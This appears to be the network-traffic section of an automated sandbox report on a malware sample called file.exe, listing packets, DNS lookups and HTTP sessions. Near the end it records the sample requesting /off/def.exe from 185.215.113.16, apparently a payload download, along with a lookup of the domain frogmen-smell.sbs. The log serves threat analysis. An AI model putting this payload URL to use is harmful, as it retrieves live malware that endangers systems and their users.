Nov 16, 2024 04:34:42.623933077 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.624011993 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.624017000 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.624084949 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.624097109 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.624103069 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.624141932 CET	50100	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.624145031 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.624160051 CET	443	50100	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.626966953 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.627024889 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.627108097 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.627244949 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.627269983 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.718354940 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.718429089 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.718481064 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.718506098 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.718529940 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.718549013 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.718580008 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723263025 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.723334074 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723371983 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.723417044 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.723444939 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723463058 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723506927 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723514080 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.723521948 CET	50102	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.723535061 CET	443	50102	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.726497889 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.726527929 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:42.726613045 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.726752996 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:42.726763010 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.032119989 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.032699108 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.032758951 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.033298016 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.033313990 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.160655975 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.160706997 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.160835028 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.160897970 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.160936117 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.161000013 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.161045074 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.161096096 CET	50104	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.161113977 CET	443	50104	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.164149046 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.164242029 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.164338112 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.164557934 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.164592028 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.260200024 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.260742903 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.260788918 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.261320114 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.261353016 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.373832941 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.374502897 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.374574900 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.374941111 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.374958992 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.428565979 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.428782940 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.428899050 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.429300070 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.429318905 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.429347038 CET	50105	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.429354906 CET	443	50105	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.432785988 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.432826996 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.432930946 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.433124065 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.433140039 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.477555037 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.478241920 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.478287935 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.478718042 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.478725910 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.618844986 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.619081020 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.619266987 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.619266987 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.621409893 CET	50107	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.621433020 CET	443	50107	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.622275114 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.622358084 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.622447014 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.622629881 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.622663021 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.727288008 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.729912043 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.729975939 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.730185986 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.730200052 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.835597038 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.835757971 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.835833073 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.835918903 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.835949898 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.835978985 CET	50106	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.835993052 CET	443	50106	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.838896036 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.838982105 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.839088917 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.839276075 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.839298010 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.856936932 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.857012033 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.857137918 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.857208014 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.857208014 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.857305050 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.857305050 CET	50103	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.857347965 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.857386112 CET	443	50103	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.860275984 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.860358953 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.860515118 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.860654116 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.860687971 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.901611090 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.902245045 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.902307987 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:43.902689934 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:43.902705908 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.034682989 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.034895897 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.035023928 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.035023928 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.035024881 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.037178040 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.037240028 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.037328959 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.037514925 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.037543058 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.172586918 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.173290968 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.173371077 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.173901081 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.173914909 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.302570105 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.302637100 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.302743912 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.302850962 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.302850962 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.303015947 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.303060055 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.303088903 CET	50109	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.303105116 CET	443	50109	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.342195034 CET	50108	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.342257977 CET	443	50108	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.355287075 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.355710030 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.355762959 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.356257915 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.356271029 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.488353968 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.488440037 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.488635063 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.489012957 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.489058018 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.489089012 CET	50110	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.489104986 CET	443	50110	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.598192930 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.598814011 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.598896027 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.599247932 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.599263906 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.733321905 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.733486891 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.733561039 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.733851910 CET	50112	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.733891964 CET	443	50112	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.787777901 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.788296938 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.788378000 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.788796902 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.788850069 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.824546099 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.824917078 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.824992895 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.825254917 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.825268984 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.916531086 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.916701078 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.916774035 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.916851997 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.916851997 CET	50111	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.916893005 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.916919947 CET	443	50111	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.963610888 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.963855028 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:44.963948011 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.963948965 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:44.963948965 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:45.279864073 CET	50113	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:34:45.279930115 CET	443	50113	13.107.246.45	192.168.2.4
Nov 16, 2024 04:34:47.019792080 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:47.019967079 CET	443	50069	142.250.185.132	192.168.2.4
Nov 16, 2024 04:34:47.020394087 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:48.594068050 CET	50069	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:34:48.594136000 CET	443	50069	142.250.185.132	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 04:33:04.400198936 CET	50800	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:04.439846992 CET	53	50800	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:20.879978895 CET	138	138	192.168.2.4	192.168.2.255
Nov 16, 2024 04:33:32.296950102 CET	53	53228	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:32.313987970 CET	53	49179	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:33.555464983 CET	53	52844	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:35.777005911 CET	60938	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:35.777143002 CET	62400	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:36.045881987 CET	62101	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:36.046077013 CET	64460	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:36.052764893 CET	53	62101	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:36.052896976 CET	53	64460	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:37.282366991 CET	54852	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:37.282551050 CET	64957	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:42.382618904 CET	53	51904	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:42.476651907 CET	53	62349	1.1.1.1	192.168.2.4
Nov 16, 2024 04:33:43.785897017 CET	60473	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:43.786043882 CET	58706	53	192.168.2.4	1.1.1.1
Nov 16, 2024 04:33:50.614394903 CET	53	63940	1.1.1.1	192.168.2.4
Nov 16, 2024 04:34:09.592170954 CET	53	56884	1.1.1.1	192.168.2.4
Nov 16, 2024 04:34:31.554791927 CET	53	61036	1.1.1.1	192.168.2.4
Nov 16, 2024 04:34:32.102807999 CET	53	57488	1.1.1.1	192.168.2.4
Nov 16, 2024 04:35:00.821280003 CET	53	58320	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 16, 2024 04:33:32.351512909 CET	192.168.2.4	1.1.1.1	c233	(Port unreachable)	Destination Unreachable
Nov 16, 2024 04:33:33.244677067 CET	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable
Nov 16, 2024 04:33:37.323527098 CET	192.168.2.4	1.1.1.1	c2c1	(Port unreachable)	Destination Unreachable
Nov 16, 2024 04:33:38.026390076 CET	192.168.2.4	1.1.1.1	c2e3	(Port unreachable)	Destination Unreachable
Nov 16, 2024 04:33:45.867311001 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 16, 2024 04:33:04.400198936 CET	192.168.2.4	1.1.1.1	0x8726	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:35.777005911 CET	192.168.2.4	1.1.1.1	0x3f2d	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:35.777143002 CET	192.168.2.4	1.1.1.1	0x26f3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 04:33:36.045881987 CET	192.168.2.4	1.1.1.1	0x4faf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:36.046077013 CET	192.168.2.4	1.1.1.1	0xcbbd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 16, 2024 04:33:37.282366991 CET	192.168.2.4	1.1.1.1	0xa4be	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:37.282551050 CET	192.168.2.4	1.1.1.1	0x9c37	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 16, 2024 04:33:43.785897017 CET	192.168.2.4	1.1.1.1	0x9bb2	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:43.786043882 CET	192.168.2.4	1.1.1.1	0x6b4c	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 16, 2024 04:33:04.439846992 CET	1.1.1.1	192.168.2.4	0x8726	No error (0)	frogmen-smell.sbs		104.21.80.55	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:04.439846992 CET	1.1.1.1	192.168.2.4	0x8726	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:35.782823086 CET	1.1.1.1	192.168.2.4	0x5140	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.782823086 CET	1.1.1.1	192.168.2.4	0x5140	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.782823086 CET	1.1.1.1	192.168.2.4	0x5140	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:35.782895088 CET	1.1.1.1	192.168.2.4	0x5126	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.783689022 CET	1.1.1.1	192.168.2.4	0x3f2d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.783689022 CET	1.1.1.1	192.168.2.4	0x3f2d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.783689022 CET	1.1.1.1	192.168.2.4	0x3f2d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.783689022 CET	1.1.1.1	192.168.2.4	0x3f2d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:35.784203053 CET	1.1.1.1	192.168.2.4	0x26f3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:35.784203053 CET	1.1.1.1	192.168.2.4	0x26f3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:36.052764893 CET	1.1.1.1	192.168.2.4	0x4faf	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:36.052896976 CET	1.1.1.1	192.168.2.4	0xcbbd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 16, 2024 04:33:37.024254084 CET	1.1.1.1	192.168.2.4	0x8f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.024290085 CET	1.1.1.1	192.168.2.4	0x589e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.024290085 CET	1.1.1.1	192.168.2.4	0x589e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.024290085 CET	1.1.1.1	192.168.2.4	0x589e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:37.289115906 CET	1.1.1.1	192.168.2.4	0xa4be	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.289115906 CET	1.1.1.1	192.168.2.4	0xa4be	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.289115906 CET	1.1.1.1	192.168.2.4	0xa4be	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.289115906 CET	1.1.1.1	192.168.2.4	0xa4be	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 16, 2024 04:33:37.323412895 CET	1.1.1.1	192.168.2.4	0x9c37	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:37.323412895 CET	1.1.1.1	192.168.2.4	0x9c37	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:43.793891907 CET	1.1.1.1	192.168.2.4	0x6b4c	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:43.794210911 CET	1.1.1.1	192.168.2.4	0x9bb2	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:45.856915951 CET	1.1.1.1	192.168.2.4	0xf69c	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:45.866364002 CET	1.1.1.1	192.168.2.4	0x4bad	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:49.493720055 CET	1.1.1.1	192.168.2.4	0x5ff	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 16, 2024 04:33:49.510965109 CET	1.1.1.1	192.168.2.4	0x4530	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

frogmen-smell.sbs

slscr.update.microsoft.com

https:

wcpstatic.microsoft.com

js.monitor.azure.com

fs.microsoft.com

otelrules.azureedge.net

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49742	185.215.113.16	80	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 04:33:22.047794104 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
